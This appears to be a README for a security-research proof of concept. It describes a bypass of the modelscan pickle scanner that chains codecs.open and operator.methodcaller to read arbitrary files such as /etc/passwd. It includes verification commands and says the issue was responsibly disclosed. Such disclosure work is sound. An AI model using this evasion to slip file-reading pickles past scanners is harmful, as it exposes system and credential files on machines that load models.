| --- |
| tags: |
| - security-research |
| - proof-of-concept |
| license: mit |
| --- |
| |
| # Modelscan Bypass PoC: codecs.open + operator.methodcaller |
|
|
| **Purpose:** Security research demonstrating a scanner bypass in ProtectAI modelscan. |
|
|
| ## Technique |
| - `codecs.open` is not in modelscan's unsafe_globals blocklist (only `builtins.open` is blocked) |
| - `operator.methodcaller` is not blocked (only `operator.attrgetter` is) |
| - Chain: `methodcaller('read')(codecs.open('/etc/passwd'))` → reads any file |
| |
| ## Verification |
| ```bash |
| pip install modelscan |
| modelscan scan -p model.pkl |
| # Output: "No issues found!" |
| |
| python3 -c "import pickle; print(pickle.load(open('model.pkl','rb'))[:100])" |
| # Output: contents of /etc/passwd |
| ``` |
| |
| ## Responsible Disclosure |
| Submitted to ProtectAI via Huntr MFV program. |
| |
